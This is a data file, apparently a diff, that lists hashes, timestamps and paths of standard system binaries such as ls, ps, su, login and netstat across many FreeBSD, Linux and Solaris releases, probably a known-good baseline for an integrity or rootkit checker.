/usr/bin/telnet [FreeBSD 6.0] +C58D339491E7FFA9E6C1ED8D5111DBB56EBCB95F Thu Nov 3 08:11:34 2005 /usr/bin/w [FreeBSD 6.0] + +A9F28F21FE28BA703284636DAC579F465276491F Mon Oct 27 15:24:16 2003 /bin/ps [FreeBSD 4.9] +798604D5181561FA4AEDF5BFC5102A2C2CDFE42A Mon Oct 27 15:24:15 2003 /bin/ls [FreeBSD 4.9] +A2352C6325A2978DF5DDB37C558F36E800DA606C Mon Oct 27 15:24:17 2003 /bin/sh [FreeBSD 4.9] +3440A8F4726475664B28466853205F00F600389D Mon Oct 27 15:24:16 2003 /bin/rm [FreeBSD 4.9] +68401B067C1BCF98A3228C30FCD334CB85B3D588 Mon Oct 27 15:26:22 2003 /usr/bin/netstat [FreeBSD 4.9] +ED926C2B8F00FFDC8B02C4F7A3E3E9517FD1FD36 Mon Oct 27 15:26:34 2003 /usr/sbin/arp [FreeBSD 4.9] +83F11F226AC4F50E0EBE25883095B8A79FAF5E2D Mon Oct 27 15:26:17 2003 /usr/bin/find [FreeBSD 4.9] +AE8641AFA55C63212B0E0EA1B4C5C5983941CA81 Mon Oct 27 15:26:37 2003 /usr/sbin/inetd [FreeBSD 4.9] +AAD71A06CBCE192F295BD753A8EBDC3D5FD49661 Mon Oct 27 15:26:30 2003 /usr/bin/w [FreeBSD 4.9] +DE16398F50BE910DE5309611B12722A9409CB72D Mon Oct 27 15:31:32 2003 /usr/bin/su [FreeBSD 4.9] +220A5320B3F40FE02ABDCF14770FF3184C9C21C5 Mon Oct 27 15:31:32 2003 /usr/bin/login [FreeBSD 4.9] +3D87D50342C3091356B737468452D6AA98EF4AE1 Mon Oct 27 15:36:35 2003 /usr/bin/telnet [FreeBSD 4.9] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.2] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.2] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.2] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.2] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.2] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.2] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.2] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.2] +41E2DAB52D859E3E00E8E98F303550A2ECB75A96 Fri May 4 11:37:13 2007 /usr/sbin/pure-ftpd [SuSE Enterprise 10.2] +61D0B9736356EB25EC5B8428C0144184CDC318E1 Thu Sep 13 15:56:32 2007 /sbin/modinfo [SuSE Enterprise 10.2] +FFF63759CEB20DAC9F683685F2D967742763D133 Mon Apr 21 23:33:20 2008 /usr/bin/w [SuSE Enterprise 10.2] +C58869F7EC2AA7C29F65DB480AA7F86D6DB89604 Mon Apr 21 23:33:19 2008 /bin/ps [SuSE Enterprise 10.2] +1CC192B9CB5681B5D71A54A9C7B261CBE1C0103D Mon Apr 21 23:36:46 2008 /sbin/arp [SuSE Enterprise 10.2] +94CFC379A717AF84EC1E45ACE7393C4D3AE48F6F Mon Apr 21 23:36:46 2008 /bin/netstat [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.2] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.2] +365EC4AFA8179AEEED34317D436565F9D25FAE26 Fri May 4 11:37:13 2007 /usr/sbin/rcpure-ftpd [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /usr/bin/sh [SuSE Enterprise 10.2] + +4EEA9A32B1B9F1A3B37FD8934E5E2D02E1C7CB39 Tue Jul 29 16:07:23 2003 /usr/bin/telnet [Fedora 1] +6B8CF3FAC846612A50271504AC7C63E65D8748A4 Mon Aug 25 15:15:29 2003 /sbin/arp [Fedora 1] +5D89F50A8135412F4C104C77975FAD2984B71DC4 Mon Aug 25 15:15:29 2003 /bin/netstat [Fedora 1] +A503B76940948CDEB2DBBF21FE397A786765FBF2 Thu Sep 11 12:19:54 2003 /bin/login [Fedora 1] +2818A6B7F8AA7CADFD9BE509A20B19234508E575 Fri Oct 3 11:18:41 2003 /usr/bin/w [Fedora 1] +A1EBEA612EC9F38CB4101FC60FA114F225E97982 Fri Oct 3 11:18:41 2003 /bin/ps [Fedora 1] +366F98F0AD21ADEAF6EE4E5FB45FCD7356C85442 Tue Oct 7 19:43:45 2003 /sbin/modinfo [Fedora 1] +F26AC09B31E791EFCDF9C175730457C04C59D302 Sun Oct 12 07:41:50 2003 /usr/sbin/xinetd [Fedora 1] +08947552A4CED6BF8D0B96A4894AE4B90B79EC6B Sun Oct 12 08:50:30 2003 /bin/su [Fedora 1] +C9C754110A559B622F04825CD279E2001F686733 Sun Oct 12 08:50:59 2003 /bin/rm [Fedora 1] +5BD907DFA76BE2D014BA1D289C9237194A5115E6 Sun Oct 12 08:50:59 2003 /bin/ls [Fedora 1] +51EF9D20E6C6C562376CC34B9B0471D353697A65 Sat Oct 25 12:36:43 2003 /usr/bin/find [Fedora 1] +9D19EE6F126348C7DD8E484065456FD5888D8486 Tue Oct 28 14:15:09 2003 /bin/sh [Fedora 1] + +7CC68B0A175435308D1D521764A085CC55D7A8F0 Sun Jul 24 09:57:53 2005 /sbin/arp [Mandriva 2006] +8D335A2B1DB616DB10C65728C31A249EF7C16F65 Sun Jul 24 09:57:53 2005 /bin/netstat [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /bin/find [Mandriva 2006] +B05FD971450FC31A7DBBAD70313508D0B8AEB42F Wed Aug 17 14:00:55 2005 /usr/bin/telnet [Mandriva 2006] +434E866022F8F08D079C9D9BB7733A06537E66F6 Thu Aug 18 20:52:17 2005 /bin/su [Mandriva 2006] +D83311206D90D5D549C6B6C87DB9CB891C64886A Thu Aug 18 20:52:16 2005 /bin/rm [Mandriva 2006] +8A9F28FFAECE4FF4BE682FAEBF1A27ED8A8B1B79 Thu Aug 18 20:52:16 2005 /bin/ls [Mandriva 2006] +984CEDD8397362695AAE450EA368BF9E1C1A8656 Tue Sep 13 14:20:53 2005 /usr/bin/login [Mandriva 2006] +E4C1782F0D4F459E06A30708CE9FA03AE0CBE82F Sat Sep 17 13:01:44 2005 /usr/bin/w [Mandriva 2006] +3DFF61BC3295DA77704103D1E2CEC77DFADD5DFF Sat Sep 17 13:01:44 2005 /bin/ps [Mandriva 2006] +65799793F85AC8018E5F3761DBDD856A45D52593 Tue Sep 20 18:14:51 2005 /bin/login [Mandriva 2006] +A80309D21436AF7627DBBD5D0C83F1AF17C9FC14 Sun Jun 12 23:02:25 2005 /bin/sh [Mandriva 2006] +9DA6DD7CAFD9EFE64F8F829F84A0C3EA590C7315 Thu Aug 4 16:05:14 2005 /usr/bin/find [Mandriva 2006] +B7EC65AEE34328E90913C082A9519880817B9CB6 Sun Aug 14 09:41:19 2005 /sbin/modinfo [Mandriva 2006] + +88EBCCB2E3A5BB4CE826FF4550628E06691C7551 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.3] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.3] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.3] +49425F4AC92DF3EC0EC51D4B3B5C80FF6C1C2488 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.3] +301A9F6208878451A7000E24119FB7B853DEF397 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.3] +88A633CAE8DD395B09D7551955B9DD4C26400A98 Mon Jul 7 08:33:05 2008 /usr/bin/find [RedHat Enterprise 5.3] +AFF555D27711C993654499AE6ED7C542BE95BDAA Thu Oct 30 19:17:08 2008 /bin/su [RedHat Enterprise 5.3] +E9652F4F87FE3001C730C063019206F9107E99DE Thu Oct 30 19:17:16 2008 /bin/rm [RedHat Enterprise 5.3] +AA62F048D92290590104A6D5B95E56BF49E2D8E6 Thu Oct 30 19:17:16 2008 /bin/ls [RedHat Enterprise 5.3] +807A5AB5F7FCE4A1508B01A60BBDEB76A5B7FE09 Tue Nov 11 17:23:57 2008 /sbin/modinfo [RedHat Enterprise 5.3] +3ACED0527F098F66DB96B14F86F26EFFCD737F05 Tue Nov 25 23:15:24 2008 /bin/login [RedHat Enterprise 5.3] +90AEBCA764BD1F4547712CB855A7D4D849B43CF3 Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.3] +77B4C03DDB47841B387236CC4E701397E098CB34 Wed Dec 3 10:32:54 2008 /bin/ps [RedHat Enterprise 5.3] +07A82C1C0378993F7386B6BFB34934B31595E474 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.3] + +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Wed Oct 24 17:53:10 2007 /usr/sbin/update-inetd [Ubuntu 8.04] +D8DFDF41A4079837720243E9603007F6009AD51F Thu Dec 13 10:51:45 2007 /usr/sbin/arp [Ubuntu 8.04] +B39C447172AB8825BAC361036B6872B5E91284AA Thu Dec 13 10:51:45 2007 /bin/netstat [Ubuntu 8.04] +313A170DA05A5EE9D10E46967F1F472275B46B53 Mon Feb 25 21:20:32 2008 /sbin/modinfo [Ubuntu 8.04] +7CBCD8AA6DF2FFBFBE783AE7FE7D1EA5A790ED81 Thu Mar 13 22:24:47 2008 /bin/ps [Ubuntu 8.04] +E67CACFB5A56142793129DACA0A080B21860B948 Wed Apr 2 14:22:14 2008 /usr/bin/find [Ubuntu 8.04] +B43226DC595ED6A1AE327C99BC654C57818A39F3 Thu Apr 3 01:08:51 2008 /bin/su [Ubuntu 8.04] +0BA3A17F19A617036F9AA21D064109F1834EB46F Thu Apr 3 01:08:51 2008 /bin/login [Ubuntu 8.04] +0B7CB6E7836DAB38E9DD21708560E68DA1FDF10E Fri Apr 4 06:42:37 2008 /bin/rm [Ubuntu 8.04] +BFB9B77A29318FC6A075323C67AF74D5E3071232 Fri Apr 4 06:42:37 2008 /bin/ls [Ubuntu 8.04] +3877DCB9DA20EC5F446202526144F488C8F07CE0 Wed Mar 12 11:22:28 2008 /bin/sh [Ubuntu 8.04] +1AFB9E68B386BE6926900BF05585F9D8FFF4ECF2 Thu Mar 13 22:24:47 2008 /usr/bin/w [Ubuntu 8.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 8.04] + +16D65CF05200881D744C482646E018D91DA121B1 Thu Apr 3 17:53:15 2008 /usr/bin/find [Debian 5.0 x86_64] +9567A981C79E33819762E3C5D3961EFAA43C9042 Fri Apr 4 14:58:40 2008 /bin/rm [Debian 5.0 x86_64] +8FEBAD20D4332BD4928BF0DD35CBA29116782A01 Sat Apr 5 02:06:07 2008 /sbin/modinfo [Debian 5.0 x86_64] +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Sep 4 18:59:03 2008 /usr/sbin/update-inetd [Debian 5.0 x86_64] +5901765B9F62EEB2CDE100AC2FC3CC7D72DA0593 Sun Nov 16 17:06:12 2008 /usr/sbin/arp [Debian 5.0 x86_64] +54D38583EBF341015FEDDFD96F1361956EB60470 Sun Nov 16 17:06:12 2008 /bin/netstat [Debian 5.0 x86_64] +CBB8CE584A89A56C6299CA691751B8C216CC1AA0 Sat Nov 22 18:13:52 2008 /bin/su [Debian 5.0 x86_64] +5BBC3B759499FB20D9DC811D74CBB64C9FD973B5 Sat Nov 22 18:13:52 2008 /bin/login [Debian 5.0 x86_64] +C34642050FF74DA377C3AF80539E13EB28C69142 Mon Dec 15 01:23:23 2008 /usr/sbin/inetd [Debian 5.0 x86_64] +F88B82F7FFBFEF734E6ABBBE4364BCCD86F4A490 Sun Jan 11 22:08:40 2009 /bin/ps [Debian 5.0 x86_64] +6E5AB1C03AA1FA610D0BBFF7A2D7FDAF2CD7C884 Mon May 12 17:00:33 2008 /bin/sh [Debian 5.0 x86_64] +07FFFBB3448ED2C900844D2767CD6EA712DF1E12 Sun Jan 11 22:08:40 2009 /usr/bin/w [Debian 5.0 x86_64] +13828B77A9064DB7873796018AD1FEF1E6475D62 Tue Jul 22 16:05:50 2008 /usr/bin/telnet [Debian 5.0 x86_64] +BC2591610270BFFED20801056379421566840349 Wed Mar 10 21:36:20 2010 /bin/ls [Debian 5.0 x86_64] + +793793420947B93821EF180975B335A4B6D20650 Sun Apr 23 02:04:11 2006 /usr/bin/telnet [SuSE 10.1 x86_64] +8B858DE835271359D6E7084DC6B7B02450BF5508 Sun Apr 23 02:11:05 2006 /usr/bin/find [SuSE 10.1 x86_64] +A4F2A6B85199235462919DC36EE46DA94CB2F682 Sun Apr 23 03:38:40 2006 /usr/bin/w [SuSE 10.1 x86_64] +84175201A7DB3707ABF372BCEBE3563C368E3211 Sun Apr 23 03:38:40 2006 /bin/ps [SuSE 10.1 x86_64] +D1449810CE95AA8173149D429EE9223B7DF5F725 Sun Apr 23 03:41:20 2006 /sbin/arp [SuSE 10.1 x86_64] +B8A790ABB41D722962D4C2E83BF4DF926F39DCD4 Sun Apr 23 03:41:20 2006 /bin/netstat [SuSE 10.1 x86_64] +7D8568E4B8B2132788E0B69E2A5238667CDB62CD Sun Apr 23 04:24:18 2006 /bin/su [SuSE 10.1 x86_64] +22AAC86B74F6504FF13CD83BB20F0699ADBE1821 Sun Apr 23 04:24:18 2006 /bin/rm [SuSE 10.1 x86_64] +8CB7BC4E1ED0C0277B901B340ACBFE8F78DC6EC9 Sun Apr 23 04:24:18 2006 /bin/ls [SuSE 10.1 x86_64] +508CCAEE587346037E17CAEA4A6493EEC07DD886 Tue May 2 09:02:24 2006 /bin/login [SuSE 10.1 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Tue May 2 13:31:28 2006 /sbin/modinfo [SuSE 10.1 x86_64] +7A9AC26D0CA7F829F1F3D4F479D95D9780FB867B Sun Apr 23 00:50:53 2006 /bin/sh [SuSE 10.1 x86_64] + +A56BD090BF9C945D5240A60447A23F04A845835D Fri Sep 21 21:50:34 2007 /usr/bin/w [SuSE 10.3] +842CFE2E8899DC70DF6154BA1E26348D0F139FA8 Fri Sep 21 21:50:34 2007 /bin/ps [SuSE 10.3] +6DC35C487E3040FD54F4E804FCD8559F0AC141F2 Fri Sep 21 21:50:56 2007 /sbin/modinfo [SuSE 10.3] +EC2A9326550F4D4B649823FE404AA3F90517B435 Fri Sep 21 21:54:24 2007 /usr/bin/find [SuSE 10.3] +6F1ED3EEFDAC7E0CDBC91C71AF09538EBDBCD781 Fri Sep 21 22:07:28 2007 /sbin/arp [SuSE 10.3] +59A34C12483AE3F1D5B7A14EE4278BBEAF7FFBB1 Fri Sep 21 22:07:28 2007 /bin/netstat [SuSE 10.3] +FE4C1ADD0F80ED12AA5421CD55388F98C4996CB2 Fri Sep 21 23:43:36 2007 /bin/su [SuSE 10.3] +59CF9A3D2ACC9F971EFC2FECBBF7E5095139EEA5 Fri Sep 21 23:43:36 2007 /bin/rm [SuSE 10.3] +335818447781126BB45D3B003F96FE8B755B1070 Fri Sep 21 23:43:36 2007 /bin/ls [SuSE 10.3] +CF57210E334952785B2ACD20BB74E08DE6958014 Sat Sep 22 00:48:31 2007 /bin/login [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /bin/sh [SuSE 10.3] +9A75EFA246E2B57FD138EE43585B48AAB9BCF1AF Fri Sep 21 22:16:17 2007 /usr/bin/sh [SuSE 10.3] + +B52EEBC9A952306881A2FA9843F7D3E55CCFAC60 Tue Jul 28 05:19:39 2009 /usr/bin/w [Fedora 12] +7BB2E259C50C5534C0A74A63AE91866728C4EBE4 Tue Jul 28 05:19:39 2009 /bin/ps [Fedora 12] +3C0F8BE2972FA3AD01BC4D23D4852FD6DC5577DE Tue Sep 1 13:31:54 2009 /sbin/arp [Fedora 12] +C35F823B495E481DAA628E90A4961B76E4D77ABE Tue Sep 1 13:31:54 2009 /bin/netstat [Fedora 12] +47CE6C4F04215961C4BD28492D74479974BEA91F Wed Sep 2 14:54:26 2009 /usr/bin/telnet [Fedora 12] +33AFC11D2F25E9379D738CABB12AF94D7BFADA21 Tue Sep 22 14:01:58 2009 /bin/su [Fedora 12] +981504DF286EC9258FDFF3D70A3CECE840DADF91 Tue Sep 22 14:01:59 2009 /bin/rm [Fedora 12] +9184D40C46E457775994D09D366F6BD4692DFD16 Tue Sep 22 14:01:59 2009 /bin/ls [Fedora 12] +27879A4E4F52D6BD4B740632DDB7F994293AE89C Mon Oct 5 15:28:04 2009 /bin/login [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /bin/find [Fedora 12] +9EC451FA6A3990ED5FE44AB2F7EC3090C03E5E7B Wed Oct 21 04:26:04 2009 /sbin/modinfo [Fedora 12] +850425F2EF0CB360D4598271FC4298894D21A061 Wed Sep 16 10:15:30 2009 /bin/sh [Fedora 12] +2CB7A3116B1678DD78A047225441ADEF23A5D4F7 Tue Oct 20 12:58:45 2009 /usr/bin/find [Fedora 12] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.4 x86_64] +2935F622154EABD65DB395783AA226D491C0DEA6 Fri Apr 18 09:54:05 2008 /sbin/arp [RedHat Enterprise 5.4 x86_64] +DDEAB63BF1C7EAE86E10BCEF77BC509B7E906F5C Fri Apr 18 09:54:05 2008 /bin/netstat [RedHat Enterprise 5.4 x86_64] +EF404C56E54048687EAC3BAED75A06B18423C51E Wed Dec 3 10:32:57 2008 /usr/bin/w [RedHat Enterprise 5.4 x86_64] +C02911BB4AAA0E17F17455F500799DCF004A66EC Wed Dec 3 10:32:57 2008 /bin/ps [RedHat Enterprise 5.4 x86_64] +A37E3E187BD8BBD849F0147D4C8590769FC7FE4E Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4 x86_64] +0AA1F2F090944CB994389884D3A478C97858775C Fri Jul 3 11:17:03 2009 /bin/login [RedHat Enterprise 5.4 x86_64] +FF6ED9BB8E9D71D9C3CDCB28543BC629B7AAE917 Sat Jul 4 02:36:31 2009 /sbin/modinfo [RedHat Enterprise 5.4 x86_64] +4BA52622347F725F6697AD7C7FB20B6862A23759 Mon Jul 13 10:21:47 2009 /bin/su [RedHat Enterprise 5.4 x86_64] +4E4E75CE650BE2192D956A5F6B56240F50581F15 Mon Jul 13 10:21:58 2009 /bin/rm [RedHat Enterprise 5.4 x86_64] +9BCC1D41C003120DF94A126600FFEC6640D1D0EA Mon Jul 13 10:21:58 2009 /bin/ls [RedHat Enterprise 5.4 x86_64] +4710357E270F0E2C27F25E8ABEC3490D5EF10FCE Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.4 x86_64] +EF1F21DF66B0FE2B99C207E6425B68C2A0766671 Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_118833-22] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic_118833-22] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_118833-22] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_118833-22] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_118833-22] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic_118833-22] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic_118833-22] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_118833-22] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /bin/telnet [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/bin/telnet [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_118833-22] +A467B005ED19F7683DE028FA670211BDA5BFBC3B Mon Jun 6 22:22:38 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /sbin/sh [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_118833-22] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_118833-22] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_118833-22] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_118833-22] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_118833-22] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /bin/sh [Solaris 2.10 Generic_118833-22] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_118833-22] +17646E6291EE96A4180C0DDE76C44A808F630A4F Wed Oct 26 22:18:39 2005 /usr/bin/sh [Solaris 2.10 Generic_118833-22] +93253EE50A4366CA7CB05E94F33BC96249C4A7D0 Tue May 2 21:38:09 2006 /usr/sbin/inetd [Solaris 2.10 Generic_118833-22] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_118833-22] +BCB8BFCF0C84886C870DCDC8198169EAB5F4FDF5 Sat Mar 26 00:06:46 2005 /usr/ucb/telnet [Solaris 2.10 Generic_118833-22] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_118833-22] + +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/proftpd [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /bin/rm [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /bin/ls [Slackware 11.0] +37B709113EDBEB4AA13F24695E2F00D00270A388 Mon Jun 26 00:36:31 2006 /usr/bin/w [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /bin/ps [Slackware 11.0] +AC3A3031824D3B5A31B4162A125B07596296CA7A Mon Aug 7 01:50:01 2006 /usr/sbin/vsftpd [Slackware 11.0] +DB1DD216C50A063A06C1E62804C4DDB4B1AC20B8 Tue Aug 8 04:11:23 2006 /usr/bin/find [Slackware 11.0] +46BFD204286CBC4DD11A23269C3C6ED77D92EFC5 Sun Aug 13 22:18:42 2006 /sbin/arp [Slackware 11.0] +9D78B0D23ADB1BECBE8D5EB7290196A65F3D2B4E Sun Aug 13 22:18:42 2006 /bin/netstat [Slackware 11.0] +69D51862C2306CCAF5A5E5F7A2A12366F9BABB82 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rshd [Slackware 11.0] +022962A3261303200BB1A4BDA940A43CD5F427B6 Sun Aug 13 22:19:15 2006 /usr/sbin/in.rlogind [Slackware 11.0] +59397F872BF8BE07DAB26D56EEB1929C288ABF42 Sun Aug 13 22:19:27 2006 /usr/sbin/in.telnetd [Slackware 11.0] +3E2D1639189387A7A3FACB536400F5819321D22D Sun Aug 13 22:19:48 2006 /usr/sbin/in.tftpd [Slackware 11.0] +4D52968DF589AC12625A182BCA385B96A5C25CAE Sun Aug 13 22:19:33 2006 /bin/telnet [Slackware 11.0] +C8A6BB3536D51D433B3EA16322AF71D9E40B25AA Tue Aug 22 20:08:46 2006 /bin/su [Slackware 11.0] +687AE699CE6213B4676D0A359696A9FD4A1B4E6C Tue Aug 22 20:08:46 2006 /bin/login [Slackware 11.0] +4269BF9126315F740DB2F078DB1C43EA5C51E291 Mon Sep 11 06:10:20 2006 /sbin/modinfo [Slackware 11.0] +2AEA48492EC1A719E52E9A1B31D3D3864D9C3E68 Sat May 13 23:55:59 2006 /bin/sh [Slackware 11.0] +89723F3A91F08B1DDB615163CE4B338D328360CE Mon Jun 26 00:36:31 2006 /usr/bin/ps [Slackware 11.0] +E9CE345159189022B81BB9D7B7D0C89476FD4022 Sun Jun 25 01:59:26 2006 /usr/bin/ls [Slackware 11.0] +03C9C1C963EFCA2E16C0303CCF2A40CB86079008 Sun Jun 25 01:59:26 2006 /usr/bin/rm [Slackware 11.0] +5F9C445E9FAF5AC6B688FD037423A7A821D01EEB Thu Apr 27 23:47:08 2006 /usr/sbin/in.proftpd [Slackware 11.0] + +84C572C4C36479BAF75595252F3EA8EC440EB303 Sat May 3 10:40:09 2008 /usr/sbin/update-inetd [Ubuntu 8.10] +FB0641D828A93AB17DF08E733262D6DB1FE4C517 Mon Jun 9 18:10:31 2008 /bin/su [Ubuntu 8.10] +78B6EB7189B41E898B0297B119B0A3A9EBDAC71E Mon Jun 9 18:10:31 2008 /bin/login [Ubuntu 8.10] +32EEF1747C08362826236E062BF87E26CF0C35B9 Fri Jun 27 00:31:57 2008 /bin/rm [Ubuntu 8.10] +02190C284FEFE4D13945944730EBB41F88C48FE7 Fri Jun 27 00:31:57 2008 /bin/ls [Ubuntu 8.10] +5553EF1A3D5B9C80E91236DA713D01B26F7D9A95 Thu Jul 3 20:08:35 2008 /usr/bin/find 